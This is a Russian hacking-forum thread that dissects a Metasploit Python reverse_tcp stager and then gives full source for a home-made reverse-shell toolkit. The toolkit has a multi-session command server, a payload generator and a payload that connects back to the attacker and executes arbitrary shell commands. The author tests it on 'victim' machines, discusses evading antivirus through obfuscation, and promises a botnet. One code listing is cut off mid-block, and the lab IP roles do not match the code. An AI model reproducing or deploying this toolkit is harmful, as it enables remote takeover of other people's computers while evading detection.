ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Разбираемся как работает python, meterpreter, reverse_tcp или handler своими руками на python3 (https://forum.antichat.xyz/showthread.php?t=574545)

Proxy n1nja 06.08.2020 10:32

Предисловие
Доброго времени суток, коллеги, сегодня хотелось бы поговорить с вами на тему того, как же работает Handler Metaspolit'a, что генерирует msfenom для python и почему эти payload'ы детектятся.

На написание данной статьи меня подвигли очень часто встречающиеся как и на форуме, так и в личных сообщениях вопросы по типу "как закриптовать payload?", "почему антивирусник ругается на сгенерированный файл" и все в таком духе.
Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит, но давайте разбираться вместе.

Для этого нам понадобится:
  1. Установленный Metasploit, как его поставить на свой компьютер можете почитать тут, а статья по установке Metasploit на телефон находиться здесь.
  2. Python 3.6 или версии выше, скачать и установить можете с официального сайта.
  3. Исследовательский интерес ко всему происходящему.

Акт I - зрим в корень
В первую очередь давайте сгенерируем сам payload при помощи команды:

Bash:


Код:

msfvenom -p python/meterpreter/reverse_tcp
LHOST
=
127.0
.0.1
LPORT
=
4444
>
~/payload.py

И посмотрим что же нам сгенерировал этот чудесный инструмент, вводим команду (вы можете пользоваться любым другим, удобным вам редактором текста или IDLE):

Код:


Код:

nano payload.py
А видим мы там следующие:

Python:


Код:

exec
(
__import__
(
'base64'
)
.
b64decode
(
__import__
(
'codecs'
)
.
getencoder
(
'utf-8'
)
(
'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9'
)

Думаю по коду всем понятно что тут в exec() - импортируется стандартная библиотека base64 и выполняется какой-то зашифрованный в тот же base64 код.
Расшифруем эту часть кода при помощи python и выясним, что за код пытается выполнить этот payload:

Python:


Код:

import
base64
text
=
'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9'
decode_text
=
base64
.
b64decode
(
text
)
print
(
decode_text
.
decode
(
encoding
=
'utf-8'
)
)

В результате получаем вот такой вывод:

Python:


Код:

import
socket
,
struct
,
time
for
x
in
range
(
10
)
:
try
:
s
=
socket
.
socket
(
2
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
'127.0.0.1'
,
4444
)
)
break
except
:
time
.
sleep
(
5
)
l
=
struct
.
unpack
(
'>I'
,
s
.
recv
(
4
)
)
[
0
]
d
=
s
.
recv
(
l
)
while
len
(
d
)

use exploit/multi/handler
msf5 exploit
(
multi/handler
)
>
set
PAYLOAD  python/meterpreter/reverse_tcp
msf5 exploit
(
multi/handler
)
>
set
LHOST
{
ip адресс handler'а
}
msf5 exploit
(
multi/handler
)
>
set
LPORT
{
незанятый порт который будт слушать handler
}
msf5 exploit
(
multi/handler
)
>
run

Теперь вернемся к Python, для дальнейшего исследования нам понадобится библиотека pwntools, устанавливаем:

Python:


Код:

pip install pwntools
И напишем следующую конструкцию:

Python:


Код:

import
pwn
s
=
pwn
.
connect
(
st
r"{ip адресс handler'а}"
,
int
(
порт который слушает handler
)
)
s
.
interactive
(
)

Вдаваться сейчас в подробное описание библиотеки pwntools я не буду, эта статья о другом, но лишь скажу что метод interactive()позволит нам взаимодействовать с сервером, к которому мы подключаемся, как говорится на лету.
Более подробно с библиотекой можно ознакомиться тут. Запускаем и смотрим. Вот что мы получили в результате:

https://forum.antichat.xyz/attachmen...e4431a14e0.png

1400 строк кода, вот, что прислал нам Msf Handler, в этой статье мы не будем анализировать этот код, но если вам интересно сделать это самостоятельно, то оставляю вам ссылку на код. Загрузил его на пастебин для вашего удобства.
Теперь проверим, что думают антивирусники по этому поводу:

https://forum.antichat.xyz/attachmen...26660ed440.png

Сказать честно, очень удивлен, что детект настолько низкий, так же я посмотрел как работают другие reverse tcp payload'ы и все оказалось то же самое.
Payload открывает соединение, принимает основной код и выполняет его. Так же я в качестве эксперимента, обфусцировал возвращаемый Hendler'oм код при помощи библиотеки pyminifier и получил вот такой результат сканирования на virustotal:

https://forum.antichat.xyz/attachmen...351b6cda17.png

Мой касперский при запуске обфускцированого кода тоже не стал ругаться. И если вам по какой-то причине очень сильно хочется использовать сгенерериованые msfvenom'oм полезные нагрузки, в тоже время у вас нет желания, чтобы они детектились антивирусами при сигнатурном анализе, вы можете модефицировать файл с полезной нагрузкой таким образом, что бы он не сразу выполнял код который присылает handler, а сначала шифровал этот код, но как это сделать, в другой раз, ведь сейчас мы переходим к той части статьи, ради которой она и задумывалась. А именно, мы приступаем к разработке собственного инструментария !

АКТ II - что нам стоит remote shell построить
В этой части статьи перед нами стоит цель написать свой генератор полезных нагрузок, сервер который будет отвечать за то, чтобы принимать подключения и отсылать наши команды удаленному хосту, ну и собственно сам payload, используя только стандартные библиотеки. Как итог у нас будет три файла:

server.py, generator.py и payload.py

С файлами разобрались и я предлагаю вам начать разработку с главного, а именно с сервера, постараемся определиться с архитектурой и учесть некоторые моменты которые связанные с клиент-серверными приложениями.
Мы будем использовать парадигму ООП, но даже если вы не знакомы с таким понятием, по ходу дела я постараюсь объяснить вам все, максимально доступным образом.

На этот раз классов у нас будет всего 3 это:
  1. Class Server- отвечающий за то что бы ожидать соединения и добавлять новые сессии в список.
  2. Class HandlerCommand- который будет отвечать за логику общения с удаленным хостом.
  3. Class RunProgram - который будет отвечать за создание объектов других классов и вывода некоторых методов в отдельные фоновые потоки.
Server.py
Объявляем первый класс Server и метод конструктора класса __init__:

Python:


Код:

class
Server
:
def
__init__
(
self
,
ip
:
str
,
port
:
int
,
max_connect
:
int
)
:
self
.
__server_ip
=
ip
        self
.
__server_port
=
port
        self
.
__server_max_connect
=
max_connect
        self
.
socket
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
self
.
clients_list
=
{
}
self
.
__clients_counter
=
0
self
.
run
=
True

На вход этот класс будет принимать три аргумента, это ip адрес на котором будет работать сервер, порт который будет слушать сервер и лимит одновременных подключений.

Двойное подчеркивание "__" перед именем переменной означает то, что эта переменная будет приватной и к ней будет нельзя обратиться за пределами этого класса, я решил это сделать по той причине, что если кому-то из вас захочется доработать функционал других классов, например, HandlerCommand, вы случайно ничего не сломали в классе Server. Так же в классе Server мы объявляем некоторые свойства,socket для работы с сокетом, client_list - куда мы будем складывать список сессий и счетчик клиентов, для того что бы давать уникальные имена установленным подключениям.

Первый метод будет у нас очень простым:

Python:


Код:

def
start_server
(
self
)
-
>
str
:
self
.
socket
.
bind
(
(
self
.
__server_ip
,
self
.
__server_port
)
)
self
.
socket
.
listen
(
self
.
__server_max_connect
)
return
f'[*] server is running on ip{self.__server_ip}and port{self.__server_port}'

Этот метод запускает слушатель по заданным нами данными и возвращает строку в которой содержится текст, о том что сервер запущен и имеет такой-то ip и такой-то порт.

Второй метод класса:

Python:


Код:

def
waiting_connection
(
self
)
:
while
self
.
run
:
__client_connect
,
__client_data
=
self
.
socket
.
accept
(
)
print
(
f'[+] Created a session with{__client_data[0]}\n'
)
__client_connect
.
settimeout
(
10
)
self
.
append_clients_list
(
__client_connect
,
__client_data
)

Метод, который в бесконечном цикле ожидает подключение к серверу и если оно происходит то присваивает значение двум приватным переменным __client_connect,в которой храниться объект класса подключенного к нам хоста и __client_data , где храниться одномерный массив данных вида - [client ip, client socket port].

Если подключение произошло, метод выводит на печать в консоль сообщение что создана новая сессия, затем устанавливает таймаут в 10 секунд для нового клиента, это будет использоваться в тех случаях, когда сервер отправит клиенту какую-то информацию, если в течении этих 10 секунд не получит ответа то вернет нам timeout error. Далее этот метод передает нашему следующему методу в качестве аргументов значение переменных __client_connect и __client_data.

Метод номер три, последний метод этого класса:

Python:


Код:

def
append_clients_list
(
self
,
client_connect
:
object
,
client_data
:
list
)
:
self
.
__clients_counter
+=
1
self
.
clients_list
[
f'session{self.__clients_counter}'
]
=
{
'session name'
:
f'session{self.__clients_counter}'
,
'ip'
:
client_data
[
0
]
,
'socket id'
:
client_data
[
1
]
,
'client connect'
:
client_connect
}

Сей метод нужен нам для того, чтобы сервер хранил у себя информацию о всех подключенных к нам клиентах. Увеличиваем значение приватной переменной на один за каждого подключенного, и добавляем к списку clients_list вложенный список, который содержит в себя имя сессии, ip адрес клиента, socket port клиента и объект класса socket собственно который нужен нам для общения с этим клиентом. На этом описания класса заканчивается. Давайте запустим теперь нашу программу и если все сделано правильно, сервер не должен вернуть никаких ошибок.

https://forum.antichat.xyz/attachmen...b1d92579b2.png

И пробуем подключиться к серверу:

https://forum.antichat.xyz/attachmen...7a699f4148.png

Как вы видите, подключение произошло, сервер выдал нам на печать об этом уведомление и все работает.
Так же в дальнейшем вы можете использовать этот класс в своих клиент серверных приложениях, но учтите, для "боевых" задач, ему необходимо будет добавить еще методов например таких как остановка сервера, перезапуск сервера и всевозможные обработчики исключений которые могут произойти.

Пришло время для второго класса HandlerCommand, как мы помним он у нас для работы с активными сессиями. Пора объявить его а так же метод конструкторакласса __init__:

Python:


Код:

class
HandlerCommand
:
def
__init__
(
self
)
:
self
.
set_command
=
''
self
.
clients_list
=
programm
.
new_server
.
clients_list

Да, вот это и все свойства класса, переменнаяset_command которая будет хранить введенные нами команды и переменная clients_list которая получает данные из экземпляра класса который мы создадим немного позже, пока добавим методов нашему классу HandlerCommand. Первый метод у нас такой:

Python:


Код:

def
choice_command
(
self
)
:
self
.
set_command
=
input
(
'$: '
)
print
(
self
.
process_command
(
command
=
self
.
set_command
)
)

Он очень маленький и это единственный метод который мы будем вызывать самостоятельно, он нужен для того, чтобы передавать наши команды в обработчик команд.
А вот второй метод этого класса, как раз и будет нашим обработчиком введенных оператором комманд:

Python:


Код:

def
process_command
(
self
,
command
:
str
=
'help'
)
-
>
str
:
result_command
=
None
if
command
.
lower
(
)
==
'list'
or
command
.
lower
(
)
==
'sessions'
:
result_command
=
self
.
get_active_sessions
(
)
elif
len
(
command
.
split
(
' '
)
)
==
2
and
command
.
lower
(
)
.
split
(
' '
)
[
0
]
==
'get'
and
command
.
split
(
' '
)
[
1
]
.
isdigit
(
)
:
self
.
get_shell_sessions
(
command
.
split
(
' '
)
[
1
]
)
elif
command
.
lower
(
)
==
'help'
:
result_command
=
"""Commands:
            list or sessions - displays a list of active connections.
            get {session number} - returns remote access over the session of the corresponding number.
            help - displays this information.
            """
else
:
result_command
=
'[!] Command not found ! Enter "help" to get a list of all commands.'
return
result_command

Метод, который принимает один аргумент, что по умолчанию равен строке - "help"и собственно логика самого обработчика, для статьи было принято решение реализовать всего три команды, вывод списка активных сессий, получение удаленного шелла для выбранной сессии и вызов справки по командам.

Первое условие очень простое, если в качестве аргумента этот метод принял строку "list" или "sessions",то он обращается к методу get_active_sessions, его мы напишем следующим. Вторая проверка условий работает так - если переданный аргумент состоит из двух частей и первая часть равна строке get а вторая часть состоит только из цифр то обращаемся к методу get_shell_sessions передавая ему в качестве аргумента именно вторую часть, которая состоит из цифр. Когда мы реализуем метод получения шелла сессий, все станет чуть более понятно. Ну и третья проверка - если в качестве аргумента была передана строка"help" возвращаем описание по имеющимся командам.

Если не одно из условий не сработало, говорим оператору что его команда не найдена и он может воспользоваться help'ом, дабы получить весь список команд. В дальнейшем вы сможете реализовать более обширный функционал дописав свои методы и обработчики для команд.
Следующий у нас на очереди метод get_active_sessions:

Python:


Код:

def
get_active_sessions
(
self
)
-
>
str
:
__list_active_session
=
[
]
try
:
for
client
in
self
.
clients_list
:
try
:
self
.
clients_list
.
get
(
client
)
.
get
(
'client connect'
)
.
send
(
bytes
(
'beacon'
,
encoding
=
'utf-8'
)
)
__list_active_session
.
append
(
self
.
clients_list
.
get
(
client
)
.
get
(
'session name'
)
)
except
ConnectionAbortedError
:
self
.
clients_list
.
pop
(
client
)
continue
except
ConnectionResetError
:
self
.
clients_list
.
pop
(
client
)
continue
except
RuntimeError
:
pass
result
=
'-------- ACTIVE SESSIONS --------'
+
'\n'
+
' '
.
join
(
__list_active_session
)
return
result

В этом методе, при каждом его вызове мы создаем пустой массив__list_active_session так, как нам важно видеть активные сессии именно в тот момент, когда мы отправили команду. Далее в цикле мы находим по словарю clients_listинформацию, для которого мы получили в конструкторе класса. После пытаемся каждому клиенту который был к нам подключен отправить сообщение "beacon", в библиотекеsocket есть уже реализованные методы проверки активности подключения, но я решил описать эту логику сам дабы вы увидели как это работает.

Так вот, после отправки нами сообщения мы смотрим, было ли оно доставлено и если все так, добавим имя клиента который активен в массив __list_active_session, а дальше обрабатываем исключения таким образом, что если по каким-то причинам соединение с клиентом было разорвано, то такого клиента мы удаляем изclients_list, дабы в дальнейшем к нему не пытаться обращаться в нашем цикле.

Если по какой-то причине (как было замечено, такое происходит когда клиент отключается во время проверки активных сессий) мы выйдем за приделы списка, то просто ничего не делаем и переходим к тому, чтобы вернуть строку, в которой будут все наши активные клиенты. Надеюсь, это все не очень сложно и вы понимаете, что происходит в данном коде. Следом давайте запустим наш сервер и попробуем подключить несколько клиентов, получить список активных сессий, отключить некоторых из клиентов и получить новый список.

https://forum.antichat.xyz/attachmen...e51548d0a0.png

https://forum.antichat.xyz/attachmen...2a52cfd883.png

https://forum.antichat.xyz/attachmen...45c7d35438.png

https://forum.antichat.xyz/attachmen...bcd63766be.png

Думаю на скриншотах видно, что мы с успехом получаем активные в данный момент сессии. Теперь перейдем к написанию последнего метода для этого класcа get_shell_sessions:

Python:


Код:

def
get_shell_sessions
(
self
,
session_number
)
:
while
True
:
shell_command
=
input
(
r'command: '
)
if
shell_command
.
lower
(
)
==
'q'
or
shell_command
.
lower
(
)
==
'quit'
:
self
.
choice_command
(
)
break
else
:
self
.
clients_list
.
get
(
f'session{session_number}'
)
.
get
(
'client connect'
)
.
send
(
bytes
(
shell_command
,
encoding
=
'utf-8'
)
)
try
:
result_shell_command
=
self
.
clients_list
.
get
(
f'session{session_number}'
)
.
get
(
'client connect'
)
.
recv
(
1024
)
except
socket
.
timeout
:
print
(
'[!] Command failed. Time out.'
)
continue
except
ConnectionAbortedError
:
self
.
choice_command
(
)
break
try
:
result_shell_command
=
result_shell_command
.
decode
(
encoding
=
'utf-8'
)
except
UnicodeDecodeError
:
result_shell_command
=
result_shell_command
.
decode
(
encoding
=
'windows-1251'
)
print
(
result_shell_command
)

Здесь на вход мы принимаем, что один аргумент, который нам должен был послать обработчик команд, что мы разбирали выше. Далее в бесконечном цикле мы предоставляем оператору возможность ввода команд для конкретной сессии, если веденная команда будет равна "q" или "quit" - нас вернет к методу в котором мы могли смотреть список сессий и выбирать их для получения шелла.

В ином случае введенная оператором команда будет передана к удаленному клиенту. Далее мы ожидаем ответ о выполнении команды и, если в течении десяти секунд ответ получен не будет (длительного ожидания ответа, как вы помните, мы задавали в методе waiting_connection, который имеет пренадлежностьклассу Server вот в этой переменной __client_connect.settimeout(10)), то мы сообщим что время ожидания вышло, если по какой то причине соединение будет разорвано, мы так же вернемся к выбору сессий.

И в последнем блоке мы пытаемся расшифровать байтовый ответ от клиента под кодировку utf-8 и если это не получается, делаем это под кодировку windows-1251, это реализовано так, потому что на машинах в которых установлен русский язык - вывод консоли возвращается именно в этой кодировке.
На этом описание данного класса закончено. Остался последнийкласс RunProgram, объявляем его и метод конструктора __init__:

Python:


Код:

class
RunProgram
:
def
__init__
(
self
,
ip_address
,
port_number
)
:
self
.
new_server
=
Server
(
ip
=
ip_address
,
port
=
port_number
,
max_connect
=
10
)
self
.
run_background_listener
=
threading
.
Thread
(
target
=
self
.
new_server
.
waiting_connection
)

Тут мы создаем экземпляр класса Server с заданными параметрами, которые равны аргументам которые ожидает сам класс RunProgram и далее в отдельном потоке вызываем методwaiting_connection из только что созданного экземпляра.

У этого класса будет всего один метод и вот он:

Python:


Код:

def
main
(
self
)
:
print
(
self
.
new_server
.
start_server
(
)
)
self
.
run_background_listener
.
start
(
)
self
.
run_background_listener
.
daemon

Тут мы обращаемся к методу start_server через экземпляр класса Server и выводим в консоль то, что он возвращает, далее запускаем поток, который мы определили в конструкторе. Затем говорим, что этот поток должен работать в фоне, это нужно для того, чтобы слушатель работал и в то время - пока мы взаимодействуем с какой то из сессий, в противном случае, мы получали новые подключения только тогда когда не работали бы с классомHandlerCommand.

И запускаем наш сервер вот так:

Код:


Код:

if __name__ == '__main__':
    programm = RunProgram(ip_address='172.18.12.13', port_number=4545)
    programm.main()
    handler = HandlerCommand()
    while True:
        handler.choice_command()

с файлом Server.py мы закончили и большая часть работы уже завершена. Но мы с вами еще вернемся к нему после того как напишем генератор и сам пайлоад.

Generator.py
Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса, так что давайте не будем медлить и объявим его и такой уже родной, метод конструктора класса:

Python:


Код:

class
GeneratorPayload
:
def
__init__
(
self
)
:
self
.
user_settings
=
argparse
.
ArgumentParser
(
description
=
'Instructions for using the program'
)
self
.
user_settings
.
add_argument
(
'-LHOST'
,
default
=
str
(
'"127.0.0.1"'
)
,
nargs
=
'?'
,
help
=
'ip address your listener'
)
self
.
user_settings
.
add_argument
(
'-LPORT'
,
default
=
int
(
4444
)
,
nargs
=
'?'
,
help
=
'port number your listener'
)
self
.
user_settings
.
add_argument
(
'-NAME'
,
default
=
str
(
'payload.py'
)
,
nargs
=
'?'
,
help
=
'name your payload'
)
self
.
payload_settings
=
self
.
user_settings
.
parse_args
(
)

Здесь мы просто задаем аргументы, которые сможет ввести пользователь качестве переменных. Более подробно о парсинге аргументов из командной строки я рассказывал в этойстатье. Дальше объявляем наш первый метод для этого класса:

Python:


Код:

def
generate_payload
(
self
)
:
payload
=
f'''
import socket
LHOST: str ={self.payload_settings.LHOST}LPORT: int ={self.payload_settings.LPORT}s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
'''
self
.
save_payload
(
payload
)

Тут у нас есть всего одна переменнаяpayload, которая является строкой, в ней содержится код для будущегоpayload.py а далее обращение к методуsave_payload,где в качестве аргумента используется эта самая переменная.

Дописывает последний метод:

Python:


Код:

def
save_payload
(
self
,
configured_payload
)
:
output_file
=
open
(
self
.
payload_settings
.
NAME
,
'w'
)
output_file
.
write
(
configured_payload
)
output_file
.
close
(
)

Очень просто, открываем файл с именем который пользователь передаст в качестве аргумента, по умолчанию payload.py, если файла не существует то создаем. Далее записываем в него содержимое аргументаconfigured_payload , который мы приняли из предыдущего метода, закрываем файл. На этом написание нашего генератора заканчивается. Давайте попробуем теперь создать нашу полезную нагрузку при помощи только что написанной программы.

https://forum.antichat.xyz/attachmen...da34f28717.png

Все получилось так как мы и задумывали, полезная нагрузка сгенерирована с теме парамтрами которые мы и указали.

Payload.py
Пару слов о созданной нами нагрузке думаю все же нужно сказать, хоть ее код и будет для большинства очень очевиден:

Python:


Код:

import
socket
LHOST
:
str
=
"172.18.12.13"
LPORT
:
int
=
4545
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
LHOST
,
LPORT
)
)
exec
(
s
.
recv
(
4096
)
.
decode
(
encoding
=
'utf-8'
)
)

Мы подключаем стандартный модуль сокет и пытаемся подключится к нашему слушателю по указанным для генератора данным, после чего ожидаем на выполнение код от сервера.
Предвижу очевидный вопрос, какой код ? Мы же ничего такого в файле server.py не писали ? Да, это верно, но так же я и говорил, что мы вернемся еще к редактированию файлаserver.py.

Я решил вынести код который будет передаваться нашей полезной нагрузке именно в этот блок статьи, так как он выполняется все же в payload.py и дабы не захламлять кодом и без того большой файл. Сейчас нам необходимо вернуться к методу waiting_connection класса Server который мы описали в файлеserver.py и в этом методе после строки № 4 ( __client_connect.settimeout(10) ) следует добавить вот такой код:

Python:


Код:

__client_connect
.
send
(
bytes
(
payload_output_server
,
encoding
=
'utf-8'
)
)

Он говорит нам о том, что как только новый клиент будет подключен, мы отправим ему содержимое переменнойpayload_output_server. Далее мы ее инициализируем, для этого перейдем к блоку if __name__ == '__main__': и НАД ним напишем следующие:

Python:


Код:

payload_output_server
=
"""
import os
import subprocess
while True:
    try:
        a = s.recv(4096)
    except ConnectionResetError:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((LHOST, LPORT))
        a = s.recv(4096)

    a = a.decode(encoding='utf-8')
    command = a

    if command.lower() == 'beacon':
        continue

    try:
        if command.lower().split(' ')[0] == 'cd':
            os.chdir(command.split(' ')[1])
    except IndexError:
        pass
    except FileNotFoundError:
        s.send(bytes(f"[!] The system cannot find the path specified: {command.split(' ')[1]}", encoding='utf-8'))
        continue

    except PermissionError:
        s.send(bytes(f"[!] Access denied: {command.split(' ')[1]}", encoding='utf-8'))

    if len(command) > 0:
        a = subprocess.Popen(command[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                            stdin=subprocess.PIPE)
        out_bit = a.stdout.read() + a.stderr.read()
        try:
            convert_out_bit_str = out_bit.decode(encoding='utf-8')
        except UnicodeDecodeError:
            convert_out_bit_str = out_bit.decode(encoding='windows-1251')
        s.send(bytes(convert_out_bit_str, encoding='utf-8'))

    else:
        continue

"""

В этой переменной будет храниться строка, значение которой вы видите выше. Это код, который будет выполнен на стороне клиента при подключении. Сильно в него углубляться не будем, я и так уже изрядно утомил вас своей писаниной, но скажу что в нем реализовано переподключение к серверу если сервер будет например перезапущен, так же эта часть кода принимает данные от сервера, передает их в cli и возвращает ответ от cli серверу.

АКТ III - один раз напиши, семь раз потесть
С программированием на сегодня все, было больно, но, надеюсь, вы справились и поняли, что и как работает в коде, который представлен выше. Теперь пришло время для проведения лабораторных тестов того чуда которое мы с вами создали.

Давайте условимся так:
  • В качестве сервера будет выступать машина на Kali linux с ip 172.18.12.12
  • В качестве жертвы № 1 машина на Windows 10, с корпоративным касперским на борту, которая имеет ip 172.18.12.13
  • В качестве жертвы № 2 будет машина под управлением Astra Linux с ip адресом ip 172.18.12.61
Запускаем наш payload на Windows машине:

https://forum.antichat.xyz/attachmen...1075fba54f.png

Теперь запустим на Astra Linux

https://forum.antichat.xyz/attachmen...2d0033dd2e.png

Давайте попробуем ввести несколько комманд и посмотреть как это отработает.

https://forum.antichat.xyz/attachmen...71cd04ea0f.png

https://forum.antichat.xyz/attachmen...147f8d4be5.png

Как видим, команды выполняются, ответ от cli удаленного клиента приходит и все у нас получилось как и было задумано. На этом тесты завершаем.


Послесловие
Спасибо вам, если дочитали до этого момента, статья получилась обширной и немного сумбурной, но в свое оправдание скажу, что никогда не занимался написанием подобного. Этим материалом я хотел немного расширить ваше понимание того, как работает обратное подключение и handler Metasploit Framework. Надеюсь, вам было интересно и вы узнали для себя что-то новое. Исходный код я прикреплю к статье в виде архива, вы можете использовать его и модифицировать по своему усмотрению. Если статья наберет много лайкосиков, то в следующий раз напишем с вами полноценный ботнет на каком-нибудь асинхронном фреймворке с gui панелью управлений и прочими плюшками. А на сегодня всё. Всем удачи и пишите комментарии.

Моя_ПреЛесТь 08.08.2020 11:37

Статья отличная ))
Цитата:


Proxy n1nja сказал(а):

Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса,


Возможно, я что-то недопонимаю, но зачем применять ООП в программе, если используется всего один класс ?
В этом существует какая-то скрытая необходимость ?
Или это привычка автора, который привык программировать в других языках ?

Cyifi6 11.08.2020 21:47

Прочитал с удовольствием

Proxy n1nja 12.08.2020 07:08

Цитата:


Моя_ПреЛесТь сказал(а):

Статья отличная ))

Возможно, я что-то недопонимаю, но зачем применять ООП в программе, если используется всего один класс ?
В этом существует какая-то скрытая необходимость ?
Или это привычка автора, который привык программировать в других языках ?


Ну во первых да, писать классами это привычка. Во вторых, возможно тебе или кому-то другому захочется взять этот код для своего проекта и с таким подходом, человек просто сделает ctrl+c\ctrl+v.
Либо тебе или кому-то еще захочется допилить этот код, сделать например валидацию пользовательских аргументов, возможность генерить другие пайлоады и вообще на что фантазии хватит. И например для проверки пользовательских данных, ты просто отнаследуешься от основного класса и тебе не нужно будет городить костыли.

kazinaq 12.08.2020 15:12

Великолепно. Не грех перенести статью в премиум с таким содержанием. Спасибо автору за просвещение начинающих.

mynameiss7 12.08.2020 21:12

Познавательно. Спасибо. Очень хочется про ботнет почитать.)

REq 14.08.2020 18:59

А обфусцировать как? Такое в скором времени получит сигнатурный детект

Proxy n1nja 15.08.2020 21:26

Цитата:


ReQ сказал(а):

А обфусцировать как? Такое в скором времени получит сигнатурный детект


Я про это в следующей статье расскажу которая будет ботнету посвящена. Она будет разбита на несколько частей потому что работы там действительно много.
Но раньше чем через месяц, не ждите, очень много дел в реале опять на меня упало.

Моя_ПреЛесТь 18.08.2020 12:45

Цитата:


Proxy n1nja сказал(а):

Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит,


Какие ещё имеются варианты генерирования "нагрузок" ?

Цитата:


Proxy n1nja сказал(а):

очень много дел в реале опять на меня упало


Иногда нужно говорить себе:
"Работа - не волк, в лес не убежит ."
или
"Пусть конь работает."
Пишите уже ))

REq 20.08.2020 20:39

Цитата:


Proxy n1nja сказал(а):

Я про это в следующей статье расскажу которая будет ботнету посвящена. Она будет разбита на несколько частей потому что работы там действительно много.
Но раньше чем через месяц, не ждите, очень много дел в реале опять на меня упало.


Устанавливаем пакет pyminifier

pip install pyminifier
Обфусцируем нужный файл командой

pyminifier --obfuscate handler.py

Так обфусцировать?

zibruss 01.09.2020 00:16

Отличная статья. Спасибо ) Много с этим работал но в целом были мизерные представления и знания о принципе работы. насчет generator.py отдельно благодарю. Ждемс еще)

googoosik88 13.09.2020 10:58

Спасибо за статью. Очень интересна тема python malware. Свеженького материала ещё не планируется?

Proxy n1nja 14.09.2020 06:42

Цитата:


googoosik88 сказал(а):

Спасибо за статью. Очень интересна тема python malware. Свеженького материала ещё не планируется?


Возможно в ближайшие дни выложу маленькую статью. Но это пока не точно, много времени на работу сейчас уходит.

|Snake| 23.02.2021 14:00

ТС, а если payload.py через pyinstaller в ехе преобразовать и запускать на машине без интерпретатора питона, код отправленный сервером на exec уже работать не будет?


Время: 01:43